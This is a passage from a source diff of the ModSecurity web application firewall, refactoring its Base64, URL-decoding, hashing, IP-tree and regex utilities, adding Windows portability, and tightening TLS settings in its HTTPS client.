Operation was successful. + * @retval false Operation failed. + * + */ +int Transaction::setRequestHostName(const std::string& hostname) { + + if (hostname != "") { + m_requestHostName = hostname; + } + + return true; +} + + +/** + * @name msc_set_request_hostname + * @brief Set request's host name + * + * With this method it is possible to set request's hostname. + * + * @note This function expects a NULL terminated string. + * + * @param transaction ModSecurity transaction. + * @param hostname hostname. + * + * @returns If the operation was successful or not. + * @retval 1 Operation was successful. + * @retval 0 Operation failed. + * + */ +extern "C" int msc_set_request_hostname(Transaction *transaction, + const unsigned char *hostname) { + return transaction->setRequestHostName(reinterpret_cast(hostname)); +} + + +/** + * @name msc_get_rules_messages_size + * @brief Retrieve the number of RuleMessage records on a transaction. + * + * Returns the size of Transaction::m_rulesMessages: the number of + * RuleMessage records that were selected to be logged on the + * transaction. This is not necessarily the total number of rules that + * matched! + * + * @param transaction ModSecurity transaction. + * + * @returns The number of RuleMessage records on the transaction. + * + */ +extern "C" size_t msc_get_rules_messages_size(const Transaction *transaction) { + return transaction->m_rulesMessages.size(); +} + + +/** + * @name msc_get_rules_messages_rule_ids + * @brief Copy the rule ids from Transaction::m_rulesMessages into a buffer. + * + * Copies the rule id of each RuleMessage into the caller-provided buffer. + * Only rule messages that were selected to be logged are included. + * + * The caller is expected to size the buffer using + * msc_get_rules_messages_size. If @p ids_len is smaller than the number + * of available records, only the first @p ids_len ids are written and + * the remaining records are skipped. + * + * @param transaction ModSecurity transaction. + * @param ids Caller-provided buffer to receive the rule ids. + * May be NULL only if @p ids_len is 0. + * @param ids_len Capacity of @p ids, in number of int64_t slots. + * + * @returns The number of rule ids written into @p ids. + * + */ +extern "C" size_t msc_get_rules_messages_rule_ids(const Transaction *transaction, + int64_t *ids, size_t ids_len) { + if (ids == nullptr || ids_len == 0) { + return 0; + } + size_t written = 0; + for (const auto &msg : transaction->m_rulesMessages) { + if (written >= ids_len) { + break; + } + ids[written++] = msg.m_rule.m_ruleId; + } + return written; +} + + } // namespace modsecurity diff --git a/src/unique_id.cc b/src/unique_id.cc index a78ebd751b..c2e47e2032 100644 --- a/src/unique_id.cc +++ b/src/unique_id.cc @@ -17,7 +17,8 @@ #include "src/config.h" #ifdef WIN32 -#include +#include "src/compat/msvc.h" +#include #include #endif @@ -48,8 +49,13 @@ #endif #include +#ifndef WIN32 #include +#else +#include +#endif #include +#include #include "src/utils/sha1.h" @@ -67,7 +73,12 @@ void UniqueId::fillUniqueId() { data = macAddress + name; - this->uniqueId_str = Utils::Sha1::hexdigest(data); + std::string uniqueIdHex; + if (Utils::Sha1::hexdigest(data, &uniqueIdHex)) { + this->uniqueId_str = std::move(uniqueIdHex); + } else { + this->uniqueId_str.clear(); + } } // Based on: @@ -129,7 +140,7 @@ std::string UniqueId::ethernetMacAddress() { (unsigned char)LLADDR(sdl)[3], (unsigned char)LLADDR(sdl)[4], (unsigned char)LLADDR(sdl)[5]); - goto end; + break; } } @@ -172,7 +183,7 @@ std::string UniqueId::ethernetMacAddress() { (unsigned char)ifr->ifr_addr.sa_data[4], (unsigned char)ifr->ifr_addr.sa_data[5]); - goto end; + break; } } close(sock); @@ -207,14 +218,14 @@ std::string UniqueId::ethernetMacAddress() { pAdapter = pAdapterInfo; while (pAdapter && !mac[0] && !mac[1] && !mac[2]) { if (pAdapter->AddressLength > 4) { - apr_snprintf(mac, MAC_ADDRESS_SIZE, "%02x:%02x:%02x:%02x:%02x:%02x", + snprintf(mac, MAC_ADDRESS_SIZE, "%02x:%02x:%02x:%02x:%02x:%02x", (unsigned char)pAdapter->Address[0], (unsigned char)pAdapter->Address[1], (unsigned char)pAdapter->Address[2], (unsigned char)pAdapter->Address[3], (unsigned char)pAdapter->Address[4], (unsigned char)pAdapter->Address[5]); - goto end; + break; } pAdapter = pAdapter->Next; } @@ -222,12 +233,9 @@ std::string UniqueId::ethernetMacAddress() { free(pAdapterInfo); #endif -#if defined(__linux__) || defined(__gnu_linux__) || defined(DARWIN) || defined(WIN32) -end: -#endif return std::string(reinterpret_cast(mac)); #if defined(__linux__) || defined(__gnu_linux__) || defined(DARWIN) || defined(WIN32) -failed: +failed: // cppcheck-suppress unusedLabelConfiguration return std::string(""); #endif } diff --git a/src/utils/acmp.cc b/src/utils/acmp.cc index 2bfe7acb90..1ca93b9848 100644 --- a/src/utils/acmp.cc +++ b/src/utils/acmp.cc @@ -33,135 +33,8 @@ * that should be mitigated. This ACMP parser should be re-written to * consume less memory. */ -extern "C" { - -char *parse_pm_content(const char *op_parm, unsigned short int op_len, const char **error_msg) { - char *parm = NULL; - char *content; - unsigned short int offset = 0; -// char converted = 0; - int i, x; - unsigned char bin = 0, esc = 0, bin_offset = 0; - unsigned char c = 0; - unsigned char bin_parm[3] = { 0 }; - char *processed = NULL; - - content = strdup(op_parm); - - if (content == NULL) { - *error_msg = std::string("Error allocating memory for pattern matching content.").c_str(); - return NULL; - } - - while (offset < op_len && (content[offset] == ' ' || content[offset] == '\t')) { - offset++; - }; - - op_len = strlen(content); - - if (content[offset] == '\"' && content[op_len-1] == '\"') { - parm = strdup(content + offset + 1); - if (parm == NULL) { - *error_msg = std::string("Error allocating memory for pattern matching content.").c_str(); - free(content); - content = NULL; - return NULL; - } - parm[op_len - offset - 2] = '\0'; - } else { - parm = strdup(content + offset); - if (parm == NULL) { - free(content); - content = NULL; - *error_msg = std::string("Error allocating memory for pattern matching content.").c_str(); - return NULL; - } - } - - free(content); - content = NULL; - - op_len = strlen(parm); - - if (op_len == 0) { - *error_msg = "Content length is 0."; - free(parm); - return NULL; - } - - for (i = 0, x = 0; i < op_len; i++) { - if (parm[i] == '|') { - if (bin) { - bin = 0; - } else { - bin = 1; - } - } else if(!esc && parm[i] == '\\') { - esc = 1; - } else { - if (bin) { - if (parm[i] == 0 || parm[i] == 1 || parm[i] == 2 || - parm[i] == 3 || parm[i] == 4 || parm[i] == 5 || - parm[i] == 6 || parm[i] == 7 || parm[i] == 8 || - parm[i] == 9 || - parm[i] == 'A' || parm[i] == 'a' || - parm[i] == 'B' || parm[i] == 'b' || - parm[i] == 'C' || parm[i] == 'c' || - parm[i] == 'D' || parm[i] == 'd' || - parm[i] == 'E' || parm[i] == 'e' || - parm[i] == 'F' || parm[i] == 'f') - { - bin_parm[bin_offset] = (char)parm[i]; - bin_offset++; - if (bin_offset == 2) { - c = strtol((char *)bin_parm, (char **) NULL, 16) & 0xFF; - bin_offset = 0; - parm[x] = c; - x++; - //converted = 1; - } - } else if (parm[i] == ' ') { - } - } else if (esc) { - if (parm[i] == ':' || - parm[i] == ';' || - parm[i] == '\\' || - parm[i] == '\"') - { - parm[x] = parm[i]; - x++; - } else { - *error_msg = std::string("Unsupported escape sequence.").c_str(); - free(parm); - return NULL; - } - esc = 0; - //converted = 1; - } else { - parm[x] = parm[i]; - x++; - } - } - } - -#if 0 - if (converted) { - op_len = x; - } -#endif - //processed = memcpy(processed, parm, op_len); - processed = strdup(parm); - free(parm); - parm = NULL; - - if (processed == NULL) { - *error_msg = std::string("Error allocating memory for pattern matching content.").c_str(); - return NULL; - } - - return processed; -} +extern "C" { /* ******************************************************************************* @@ -190,10 +63,9 @@ static size_t acmp_strlen(ACMP *parser, const char *str) { * len - length of input string */ static void acmp_strtoucs(ACMP *parser, const char *str, long *ucs_chars, int len) { - int i; const char *c = str; - for (i = 0; i < len; i++) { + for (int i = 0;i < len;i++) { *(ucs_chars++) = *(c++); } } @@ -354,7 +226,7 @@ static void acmp_build_binary_tree(ACMP *parser, acmp_node_t *node) { /* We have array with all children of the node and number of those children */ - for (i = 0; i < count - 1; i++) + for (i = 0; i < count - 1; i++) { for (j = i + 1; j < count; j++) { acmp_node_t *tmp; @@ -364,10 +236,11 @@ static void acmp_build_binary_tree(ACMP *parser, acmp_node_t *node) { nodes[i] = nodes[j]; nodes[j] = tmp; } - if (node->btree != NULL) { - free(node->btree); - node->btree = NULL; - } + } + if (node->btree != NULL) { + free(node->btree); + node->btree = NULL; + } node->btree = reinterpret_cast(calloc(1, sizeof(acmp_btree_node_t))); /* ENH: Check alloc succeded */ @@ -514,17 +387,20 @@ if (parser->is_active != 0) return -1; child->pattern = (char *)""; child->letter = letter; child->depth = i; - child->text = (char *)calloc(1, strlen(pattern) + 2); + child->text = (char *)calloc(1, i + 2); /* ENH: Check alloc succeded */ - for (j = 0; j <= i; j++) child->text[j] = pattern[j]; + for (j = 0; j <= i; j++) { + child->text[j] = pattern[j]; + } } if (i == length - 1) { if (child->is_last == 0) { parser->dict_count++; child->is_last = 1; - child->pattern = (char *)calloc(1, strlen(pattern) + 2); + child->pattern = (char *)calloc(1, length + 1); /* ENH: Check alloc succeded */ - strcpy(child->pattern, pattern); + memcpy(child->pattern, pattern, length); + child->pattern[length] = '\0'; } child->callback = callback; child->callback_data = data; diff --git a/src/utils/acmp.h b/src/utils/acmp.h index 1af454e1df..a93165fe5d 100644 --- a/src/utils/acmp.h +++ b/src/utils/acmp.h @@ -23,6 +23,7 @@ #endif #include +#include extern "C" { @@ -189,8 +190,6 @@ int acmp_process_quick(ACMPT *acmpt, const char **match, const char *data, size_ */ int acmp_prepare(ACMP *parser); -char *parse_pm_content(const char *op_parm, unsigned short int op_len, const char **error_msg); - } #endif /*ACMP_H_*/ diff --git a/src/utils/base64.cc b/src/utils/base64.cc index ebbb7393c9..739d54deff 100644 --- a/src/utils/base64.cc +++ b/src/utils/base64.cc @@ -18,98 +18,92 @@ #include #include -#include -#include +#include #include "mbedtls/base64.h" -namespace modsecurity { -namespace Utils { - - -std::string Base64::encode(const std::string& data) { - size_t encoded_len = 0; - unsigned char *d; - std::string ret; - - mbedtls_base64_encode(NULL, 0, &encoded_len, - reinterpret_cast(data.c_str()), data.size()); - - d = reinterpret_cast(malloc(sizeof(char) * encoded_len)); - if (d == NULL) { - return data; +namespace { +template +bool base64HelperMbedtls(const char *data, const unsigned int len, + Base64MbedtlsOperation op, std::string *output) { + if (output == nullptr) { + return false; } - memset(d, '\0', encoded_len); + size_t out_len = 0; - mbedtls_base64_encode(d, encoded_len, &encoded_len, - (unsigned char*) data.c_str(), data.size()); + if (const int sizingRet = op(nullptr, 0, &out_len, + reinterpret_cast(data), len); + sizingRet != 0 && sizingRet != MBEDTLS_ERR_BASE64_BUFFER_TOO_SMALL) { + return false; + } - ret.assign(reinterpret_cast(d), encoded_len); - free(d); + std::string ret(out_len, {}); + if (out_len > 0) { + if (const int retCode = op(reinterpret_cast(ret.data()), + ret.size(), &out_len, + reinterpret_cast(data), len); + retCode != 0) { + return false; + } + ret.resize(out_len); + } - return ret; + *output = std::move(ret); + return true; } - -std::string Base64::decode(const std::string& data, bool forgiven) { - if (forgiven) { - return decode_forgiven(data); +template +bool base64HelperForgiven(const char *data, const unsigned int len, + Base64ForgivenOperation op, std::string *output) { + if (output == nullptr) { + return false; } - return decode(data); -} + size_t out_len = 0; + op(nullptr, 0, &out_len, + reinterpret_cast(data), len); -std::string Base64::decode(const std::string& data) { - size_t decoded_len = 0; - unsigned char *d; - std::string ret; - size_t len = strlen(data.c_str()); + std::string ret(out_len, {}); + if (out_len > 0) { + op(reinterpret_cast(ret.data()), ret.size(), &out_len, + reinterpret_cast(data), len); - mbedtls_base64_decode(NULL, 0, &decoded_len, - reinterpret_cast(data.c_str()), len); - - d = reinterpret_cast(malloc(sizeof(char) * decoded_len)); - if (d == NULL) { - return data; + ret.resize(out_len); } - memset(d, '\0', decoded_len); + *output = std::move(ret); + return true; +} +} // namespace - mbedtls_base64_decode(d, decoded_len, &decoded_len, - reinterpret_cast(data.c_str()), len); +namespace modsecurity { +namespace Utils { - ret.assign(reinterpret_cast(d), decoded_len); - free(d); - return ret; +bool Base64::encode(const std::string& data, std::string *output) { + return base64HelperMbedtls(data.c_str(), data.size(), mbedtls_base64_encode, output); } -std::string Base64::decode_forgiven(const std::string& data) { - size_t decoded_len = 0; - unsigned char *d; - std::string ret; - - decode_forgiven_engine(NULL, 0, &decoded_len, - reinterpret_cast(data.c_str()), data.size()); - - d = reinterpret_cast(malloc(sizeof(char) * decoded_len)); - if (d == NULL) { - return data; +bool Base64::decode(const std::string& data, std::string *output, bool forgiven) { + if (forgiven) { + return decode_forgiven(data, output); } - memset(d, '\0', decoded_len); + return decode(data, output); +} - decode_forgiven_engine(d, decoded_len, &decoded_len, - reinterpret_cast(data.c_str()), data.size()); - ret.assign(reinterpret_cast(d), decoded_len); - free(d); +bool Base64::decode(const std::string& data, std::string *output) { + return base64HelperMbedtls(data.c_str(), strlen(data.c_str()), mbedtls_base64_decode, output); +} - return ret; + +bool Base64::decode_forgiven(const std::string& data, std::string *output) { + return base64HelperForgiven(data.c_str(), data.size(), decode_forgiven_engine, output); } @@ -122,10 +116,10 @@ void Base64::decode_forgiven_engine(unsigned char *plain_text, static const int b64_reverse_t[256] = { -2, -2, -2, -2, -2, -2, -2, -2, -2, -1, -1, -2, -2, -1, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, - -1, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, 62, -2, -2, -2, 63, + -1, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, 62, -2, 62, -2, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -2, -2, -2, -2, -2, -2, -2, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, - 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -2, -2, -2, -2, -2, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -2, -2, -2, -2, 63, -2, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, -2, @@ -215,6 +209,5 @@ void Base64::decode_forgiven_engine(unsigned char *plain_text, } } - } // namespace Utils } // namespace modsecurity diff --git a/src/utils/base64.h b/src/utils/base64.h index 97639a5413..b57beb86bb 100644 --- a/src/utils/base64.h +++ b/src/utils/base64.h @@ -26,11 +26,11 @@ class Base64 { public: Base64() { } - static std::string encode(const std::string& data); + static bool encode(const std::string& data, std::string *output); - static std::string decode(const std::string& data, bool forgiven); - static std::string decode(const std::string& data); - static std::string decode_forgiven(const std::string& data); + static bool decode(const std::string& data, std::string *output, bool forgiven); + static bool decode(const std::string& data, std::string *output); + static bool decode_forgiven(const std::string& data, std::string *output); static void decode_forgiven_engine(unsigned char *plain_text, size_t plain_text_size, size_t *aiming_size, diff --git a/src/utils/decode.cc b/src/utils/decode.cc index c631101191..b92d19d2ec 100644 --- a/src/utils/decode.cc +++ b/src/utils/decode.cc @@ -17,68 +17,66 @@ #include "modsecurity/modsecurity.h" #include "src/utils/string.h" +using namespace modsecurity::utils::string; -namespace modsecurity { -namespace utils { +namespace modsecurity::utils { -int urldecode_nonstrict_inplace(unsigned char *input, - uint64_t input_len, int *invalid_count, int *changed) { - unsigned char *d = (unsigned char *)input; - uint64_t i, count; +bool urldecode_nonstrict_inplace(std::string &val, + int &invalid_count) { + return urldecode_nonstrict_inplace_ext(val, true, invalid_count); +} - *changed = 0; +bool urldecode_nonstrict_inplace_ext(std::string &val, + bool plus_to_space, + int &invalid_count) { + unsigned char *d = (unsigned char *)val.data(); + unsigned char *s = d; + const unsigned char *e = s + val.size(); - if (input == NULL) { - return -1; - } + invalid_count = 0; + bool changed = false; - i = count = 0; - while (i < input_len) { - if (input[i] == '%') { + while (s != e) { + if (*s == '%') { /* Character is a percent sign. */ /* Are there enough bytes available? */ - if (i + 2 < input_len) { - char c1 = input[i + 1]; - char c2 = input[i + 2]; + if (s + 2 < e) { + const auto c1 = *(s + 1); + const auto c2 = *(s + 2); if (VALID_HEX(c1) && VALID_HEX(c2)) { - uint64_t uni = string::x2c(&input[i + 1]); + const auto uni = string::x2c(s + 1); - *d++ = (wchar_t)uni; - count++; - i += 3; - *changed = 1; + *d++ = uni; + s += 3; + changed = true; } else { /* Not a valid encoding, skip this % */ - *d++ = input[i++]; - count++; - (*invalid_count)++; + *d++ = *s++; + invalid_count++; } } else { /* Not enough bytes available, copy the raw bytes. */ - *d++ = input[i++]; - count++; - (*invalid_count)++; + *d++ = *s++; + invalid_count++; } } else { /* Character is not a percent sign. */ - if (input[i] == '+') { + if (plus_to_space && *s == '+') { *d++ = ' '; - *changed = 1; + changed = true; } else { - *d++ = input[i]; + *d++ = *s; } - count++; - i++; + s++; } } -#if 0 - *d = '\0'; -#endif + if (changed) + val.resize((char*) d - val.c_str()); - return count; + return changed; } @@ -99,8 +97,8 @@ std::string uri_decode(const std::string & sSrc) { while (pSrc < SRC_LAST_DEC) { if (*pSrc == '%') { char dec1, dec2; - if (-1 != (dec1 = string::HEX2DEC[*(pSrc + 1)]) - && -1 != (dec2 = string::HEX2DEC[*(pSrc + 2)])) { + if ((char)-1 != (dec1 = string::HEX2DEC[*(pSrc + 1)]) + && (char)-1 != (dec2 = string::HEX2DEC[*(pSrc + 2)])) { *pEnd++ = (dec1 << 4) + dec2; pSrc += 3; continue; @@ -120,5 +118,4 @@ std::string uri_decode(const std::string & sSrc) { } -} // namespace utils -} // namespace modsecurity +} // namespace modsecurity::utils diff --git a/src/utils/decode.h b/src/utils/decode.h index e0e31bcbf9..6c2bfe4c32 100644 --- a/src/utils/decode.h +++ b/src/utils/decode.h @@ -29,8 +29,11 @@ namespace modsecurity { namespace utils { -int urldecode_nonstrict_inplace(unsigned char *input, - uint64_t input_len, int *invalid_count, int *changed); +bool urldecode_nonstrict_inplace(std::string &val, + int &invalid_count); +bool urldecode_nonstrict_inplace_ext(std::string &val, + bool plus_to_space, + int &invalid_count); std::string uri_decode(const std::string & sSrc); diff --git a/src/utils/geo_lookup.cc b/src/utils/geo_lookup.cc index 33a80be5cb..4e06a1ec52 100644 --- a/src/utils/geo_lookup.cc +++ b/src/utils/geo_lookup.cc @@ -13,10 +13,13 @@ * */ +#ifndef WIN32 #include -#include #include #include +#else +#include +#endif #include #include diff --git a/src/utils/https_client.cc b/src/utils/https_client.cc index 1ba5fd864a..91e06064dd 100644 --- a/src/utils/https_client.cc +++ b/src/utils/https_client.cc @@ -20,10 +20,14 @@ #include #endif +#ifndef WIN32 #include #include #include #include +#else +#include +#endif #include #include @@ -87,12 +91,17 @@ bool HttpsClient::download(const std::string &uri) { headers_chunk = curl_slist_append(headers_chunk, m_key.c_str()); } - /* Make it TLS 1.x only. */ - curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1); + /* Make it TLS 1.2 at least. */ + curl_easy_setopt(curl, CURLOPT_SSLVERSION, CURL_SSLVERSION_TLSv1_2); /* those are the default options, but lets make sure */ curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1); - curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 1); + curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 2L); + +#ifdef WIN32 + /* use the operating system's native CA store for certificate verification.*/ + curl_easy_setopt(curl, CURLOPT_SSL_OPTIONS, (long)CURLSSLOPT_NATIVE_CA); +#endif /* send all data to this function */ curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, &HttpsClient::handle); @@ -101,15 +110,18 @@ bool HttpsClient::download(const std::string &uri) { curl_easy_setopt(curl, CURLOPT_WRITEDATA, this); curl_easy_setopt(curl, CURLOPT_USERAGENT, "ModSecurity3"); - curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers_chunk); /* We want Curl to return error in case there is an HTTP error code */ curl_easy_setopt(curl, CURLOPT_FAILONERROR, 1); if (m_requestBody.empty() == false) { curl_easy_setopt(curl, CURLOPT_POSTFIELDS, m_requestBody.c_str()); + headers_chunk = curl_slist_append(headers_chunk, "Expect:"); // Disable Expect: 100-continue } + /* set HTTP headers for request */ + curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers_chunk); + res = curl_easy_perform(curl); curl_slist_free_all(headers_chunk); diff --git a/src/utils/ip_tree.cc b/src/utils/ip_tree.cc index 969213a55f..124bc47f30 100644 --- a/src/utils/ip_tree.cc +++ b/src/utils/ip_tree.cc @@ -15,10 +15,14 @@ #include "src/utils/ip_tree.h" +#ifndef WIN32 #include #include #include #include +#else +#include +#endif #include #include diff --git a/src/utils/ip_tree.h b/src/utils/ip_tree.h index ea560acb19..d4ef274060 100644 --- a/src/utils/ip_tree.h +++ b/src/utils/ip_tree.h @@ -31,6 +31,8 @@ namespace Utils { class IpTree { public: IpTree(); + IpTree(const IpTree&) = delete; + IpTree& operator=(const IpTree&) = delete; ~IpTree(); bool contains(const std::string &ip); diff --git a/src/utils/md5.cc b/src/utils/md5.cc deleted file mode 100644 index 8474600785..0000000000 --- a/src/utils/md5.cc +++ /dev/null @@ -1,40 +0,0 @@ - - -#include "src/utils/md5.h" -#include "others/mbedtls/md5.h" - -namespace modsecurity { -namespace Utils { - - -std::string Md5::hexdigest(const std::string& input) { - unsigned char digest[16]; - - mbedtls_md5(reinterpret_cast(input.c_str()), - input.size(), digest); - - char buf[33]; - for (int i = 0; i < 16; i++) { - sprintf(buf+i*2, "%02x", digest[i]); - } - - return std::string(buf, 32); -} - - -std::string Md5::digest(const std::string& input) { - unsigned char output[16]; - std::string ret; - - mbedtls_md5(reinterpret_cast(input.c_str()), - input.size(), output); - - ret.assign(reinterpret_cast(output), 16); - - return ret; -} - - -} // namespace Utils -} // namespace modsecurity - diff --git a/src/utils/md5.h b/src/utils/md5.h index b6ebc12013..85c21bf1fd 100644 --- a/src/utils/md5.h +++ b/src/utils/md5.h @@ -13,29 +13,19 @@ * */ -#include - -#include "modsecurity/actions/action.h" -#include "src/actions/transformations/transformation.h" - #ifndef SRC_UTILS_MD5_H_ #define SRC_UTILS_MD5_H_ -#include -#include +#include "src/utils/sha1.h" +#include -namespace modsecurity { -namespace Utils { +namespace modsecurity::Utils { -class Md5 { - public: - Md5() { } - static std::string hexdigest(const std::string& input); - static std::string digest(const std::string& input); +class Md5 : public DigestImpl { }; -} // namespace Utils -} // namespace modsecurity -#endif // SRC_UTILS_MD5_H_ \ No newline at end of file +} // namespace modsecurity::Utils + +#endif // SRC_UTILS_MD5_H_ diff --git a/src/utils/msc_tree.cc b/src/utils/msc_tree.cc index 8e36f274ef..ea6c1a4167 100644 --- a/src/utils/msc_tree.cc +++ b/src/utils/msc_tree.cc @@ -15,9 +15,15 @@ #include #include #include +#ifndef WIN32 #include #include #include +#else +#include "src/compat/msvc.h" +#include +#include +#endif #include "src/utils/msc_tree.h" @@ -662,14 +668,21 @@ TreeNode *CPTFindElementIPNetblock(unsigned char *ipdata, unsigned char ip_bitma node = CPTRetriveNode(ipdata, ip_bitmask, node); - if (node && node->bit != ip_bitmask) { + if(node == NULL) { + //if (msr && msr->txcfg->debuglog_level >= 9) { + // msr_log(msr, 9, "CPTFindElement: Node tree is NULL."); + //} + return node; + } + + if (node->bit != ip_bitmask) { //if (msr && msr->txcfg->debuglog_level >= 9) { // msr_log(msr, 9, "CPTFindElementIPNetblock: Found a tree node but netmask is different."); //} return NULL; } - if (node && node->prefix == NULL) { + if (node->prefix == NULL) { //if (msr && msr->txcfg->debuglog_level >= 9) { // msr_log(msr, 9, "CPTFindElementIPNetblock: Found a tree node but prefix is NULL."); //} @@ -739,18 +752,18 @@ TreeNode *CPTFindElement(unsigned char *ipdata, unsigned int ip_bitmask, CPTTree node = CPTRetriveNode(temp_data, ip_bitmask, node); - if (node && (node->bit != ip_bitmask)) { + if(node == NULL) { //if (msr && msr->txcfg->debuglog_level >= 9) { - // msr_log(msr, 9, "CPTFindElement: Found a tree node but netmask is different."); + // msr_log(msr, 9, "CPTFindElement: Node tree is NULL."); //} - return NULL; + return node; } - if(node == NULL) { + if (node->bit != ip_bitmask) { //if (msr && msr->txcfg->debuglog_level >= 9) { - // msr_log(msr, 9, "CPTFindElement: Node tree is NULL."); + // msr_log(msr, 9, "CPTFindElement: Found a tree node but netmask is different."); //} - return node; + return NULL; } if(node->prefix == NULL) { @@ -961,7 +974,7 @@ int tree_contains_ip(TreeRoot *rtree, } } - + return 0; } diff --git a/src/utils/msc_tree.h b/src/utils/msc_tree.h index 837eb24b94..30f8d43326 100644 --- a/src/utils/msc_tree.h +++ b/src/utils/msc_tree.h @@ -38,7 +38,7 @@ typedef struct TreeRoot TreeRoot; #define TREE_CHECK(x, y) ((x) & (y)) #define MASK_BITS(x) ((x + 1) * 8) -#define SHIFT_LEFT_MASK(x) ((-1) << (x)) +#define SHIFT_LEFT_MASK(x) ((int)(~0U << (x))) #define SHIFT_RIGHT_MASK(x,y) ((x) >> (y)) #define NETMASK_256 0x100 diff --git a/src/utils/regex.cc b/src/utils/regex.cc index 5facd2b195..770c6bfc59 100644 --- a/src/utils/regex.cc +++ b/src/utils/regex.cc @@ -23,7 +23,7 @@ #include "src/utils/geo_lookup.h" -#ifndef WITH_PCRE2 +#ifdef WITH_PCRE #if PCRE_HAVE_JIT // NOTE: Add PCRE_STUDY_EXTRA_NEEDED so studying always yields a pcre_extra strucure // and we can selectively override match limits using a copy of that structure at runtime. @@ -35,11 +35,11 @@ #endif #endif -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE class Pcre2MatchContextPtr { public: Pcre2MatchContextPtr() - : m_match_context(pcre2_match_context_create(NULL)) {} + : m_match_context(pcre2_match_context_create(nullptr)) {} Pcre2MatchContextPtr(const Pcre2MatchContextPtr&) = delete; Pcre2MatchContextPtr& operator=(const Pcre2MatchContextPtr&) = delete; @@ -48,7 +48,7 @@ class Pcre2MatchContextPtr { pcre2_match_context_free(m_match_context); } - operator pcre2_match_context*() const { + explicit operator pcre2_match_context*() const { return m_match_context; } @@ -62,7 +62,7 @@ namespace Utils { // Helper function to tell us if the current config indicates CRLF is a valid newline sequence bool crlfIsNewline() { -#if WITH_PCRE2 +#ifndef WITH_PCRE uint32_t newline = 0; pcre2_config(PCRE2_CONFIG_NEWLINE, &newline); bool crlf_is_newline = @@ -89,7 +89,7 @@ bool crlfIsNewline() { Regex::Regex(const std::string& pattern_, bool ignoreCase) : pattern(pattern_.empty() ? ".*" : pattern_) { -#if WITH_PCRE2 +#ifndef WITH_PCRE PCRE2_SPTR pcre2_pattern = reinterpret_cast(pattern.c_str()); uint32_t pcre2_options = (PCRE2_DOTALL|PCRE2_MULTILINE); if (ignoreCase) { @@ -98,10 +98,10 @@ Regex::Regex(const std::string& pattern_, bool ignoreCase) int errornumber = 0; PCRE2_SIZE erroroffset = 0; m_pc = pcre2_compile(pcre2_pattern, PCRE2_ZERO_TERMINATED, - pcre2_options, &errornumber, &erroroffset, NULL); + pcre2_options, &errornumber, &erroroffset, nullptr); m_pcje = pcre2_jit_compile(m_pc, PCRE2_JIT_COMPLETE); #else - const char *errptr = NULL; + const char *errptr = nullptr; int erroffset; int flags = (PCRE_DOTALL|PCRE_MULTILINE); @@ -109,7 +109,7 @@ Regex::Regex(const std::string& pattern_, bool ignoreCase) flags |= PCRE_CASELESS; } m_pc = pcre_compile(pattern.c_str(), flags, - &errptr, &erroffset, NULL); + &errptr, &erroffset, nullptr); m_pce = pcre_study(m_pc, pcre_study_opt, &errptr); #endif @@ -117,20 +117,20 @@ Regex::Regex(const std::string& pattern_, bool ignoreCase) Regex::~Regex() { -#if WITH_PCRE2 +#ifndef WITH_PCRE pcre2_code_free(m_pc); #else - if (m_pc != NULL) { + if (m_pc != nullptr) { pcre_free(m_pc); - m_pc = NULL; + m_pc = nullptr; } - if (m_pce != NULL) { + if (m_pce != nullptr) { #if PCRE_HAVE_JIT pcre_free_study(m_pce); #else pcre_free(m_pce); #endif - m_pce = NULL; + m_pce = nullptr; } #endif } @@ -139,22 +139,22 @@ Regex::~Regex() { std::list Regex::searchAll(const std::string& s) const { std::list retList; int rc = 0; -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE PCRE2_SPTR pcre2_s = reinterpret_cast(s.c_str()); PCRE2_SIZE offset = 0; - pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, NULL); + pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, nullptr); do { if (m_pcje == 0) { rc = pcre2_jit_match(m_pc, pcre2_s, s.length(), - offset, 0, match_data, NULL); + offset, 0, match_data, nullptr); } if (m_pcje != 0 || rc == PCRE2_ERROR_JIT_STACKLIMIT) { rc = pcre2_match(m_pc, pcre2_s, s.length(), - offset, PCRE2_NO_JIT, match_data, NULL); + offset, PCRE2_NO_JIT, match_data, nullptr); } - PCRE2_SIZE *ovector = pcre2_get_ovector_pointer(match_data); + const PCRE2_SIZE *ovector = pcre2_get_ovector_pointer(match_data); #else const char *subject = s.c_str(); int ovector[OVECCOUNT]; @@ -183,38 +183,38 @@ std::list Regex::searchAll(const std::string& s) const { } } while (rc > 0); -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE pcre2_match_data_free(match_data); #endif return retList; } RegexResult Regex::searchOneMatch(const std::string& s, std::vector& captures, unsigned long match_limit) const { -#ifdef WITH_PCRE2 +#ifndef WITH_PCRE Pcre2MatchContextPtr match_context; if (match_limit > 0) { // TODO: What if setting the match limit fails? - pcre2_set_match_limit(match_context, match_limit); + pcre2_set_match_limit(static_cast(match_context), match_limit); } PCRE2_SPTR pcre2_s = reinterpret_cast(s.c_str()); - pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, NULL); + pcre2_match_data *match_data = pcre2_match_data_create_from_pattern(m_pc, nullptr); int rc = 0; if (m_pcje == 0) { - rc = pcre2_jit_match(m_pc, pcre2_s, s.length(), 0, 0, match_data, match_context); + rc = pcre2_jit_match(m_pc, pcre2_s, s.length(), 0, 0, match_data, static_cast(match_context)); } if (m_pcje != 0 